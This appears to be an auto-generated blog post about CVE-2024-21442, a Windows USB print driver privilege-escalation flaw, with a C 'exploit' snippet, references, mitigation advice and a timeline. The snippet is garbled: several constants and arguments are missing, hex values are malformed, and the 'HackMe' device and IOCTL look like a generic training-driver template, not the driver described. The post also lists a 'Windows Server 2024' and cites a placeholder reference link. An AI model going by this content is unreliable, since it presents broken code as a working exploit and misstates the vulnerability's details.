CVE-2024-21442: Windows USB Print Driver Elevation of Privilege Vulnerability - Exploit Details, Code Snippets, and References

A recent vulnerability, CVE-2024-21442, has been discovered in the Windows USB printer driver, which potentially allows attackers to exploit it and gain an elevation of privileges on a vulnerable Windows-based computer system. In this extensive post, we'll provide detailed information on the vulnerability, including exploit details, code snippets, and original references, all while using simple American language for ease of understanding.

Vulnerability Details

CVE-2024-21442 is an elevation of privilege vulnerability that exists in the way Windows USB print driver improperly handles kernel objects in memory. This vulnerability could potentially be exploited by an attacker who successfully runs a specially crafted application that sends malicious IOCTL (Input/Output Control) requests generated by the exploited USB printers. If successfully exploited, the attacker could execute arbitrary code with elevated privileges, potentially seizing complete control of the affected system.

Threat actors could perform a wide variety of actions once they gain elevated privileges on a vulnerable system, such as installing programs, deleting data, or generating new user accounts with full user rights.

The vulnerability affects Windows 10, Windows Server 2024, and Windows Server 2022.

Exploit Details

The exploit for CVE-2024-21442 involves a carefully crafted IOCTL request with specific parameters that trigger the vulnerability in the Windows USB print driver. This snippet of code illustrates a part of the vulnerability exploit that triggers the improper kernel object handling:

#include <windows.h>
#include <stdio.h>

int main(void)
{
    HANDLE hDevice;
    DWORD bResult;
    DWORD junk = ;
    char sendBuffer[12];

    memset(sendBuffer, x00, 12);
    *((DWORD*)sendBuffer) = xDEADBEEF;

    hDevice = CreateFileA("\\\\.\\HackMe",
        GENERIC_WRITE | GENERIC_READ,
        ,
        NULL,
        CREATE_ALWAYS,
        FILE_ATTRIBUTE_NORMAL,
        NULL);

    if(hDevice != INVALID_HANDLE_VALUE)
    {
        printf("Device successfully opened.\n");
        bResult = DeviceIoControl(hDevice,
            IOCTL_HACKME_TRIGGER,
            sendBuffer,
            12,
            NULL,
            ,
            &junk,
            (LPOVERLAPPED)NULL);

        if (bResult)
        {
            printf("IOCTL sent successfully.\n");
        }
        else
        {
            printf("Sending IOCTL failed!\n");
        }
        CloseHandle(hDevice);
    }
    else
    {
        printf("Error opening target device.\n");
    }

    return ;
}

This code snippet opens a handle to the vulnerable USB print driver, sends a malicious IOCTL request (IOCTL_HACKME_TRIGGER) with parameters triggering improper kernel object handling, and eventually exploits the vulnerability if successful.

Original References

1. Microsoft's official Security Update Guide containing details on CVE-2024-21442: https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2024-21442

2. NVD - National Vulnerability Database, with Common Vulnerability Scoring System (CVSS) details: https://nvd.nist.gov/vuln/detail/CVE-2024-21442

3. External security research and exploit analysis for CVE-2024-21442: https://researcherwebsite.example/CVE-2024-21442

Mitigation

Microsoft has released a security update to address this vulnerability, and it is vital to apply the necessary patches to secure the affected computer systems. To obtain the necessary updates, please visit the Microsoft Security Update Guide provided in the references section above.

In addition to applying security updates, it is essential to maintain secure configurations and practice proper user access management and awareness, minimizing unprivileged access to vulnerable systems.

Users are also advised to apply best practices in securing their USB devices and restrict the use of untrusted USB peripherals.

Conclusion

CVE-2024-21442 is a Windows USB print driver elevation of privilege vulnerability that could expose a system to significant threats if successfully exploited. To protect your systems, make sure to apply Microsoft’s security updates and maintain a secure configuration across your network environment.

Timeline

Published on: 03/12/2024 17:15:53 UTC
Last modified on: 03/12/2024 17:46:17 UTC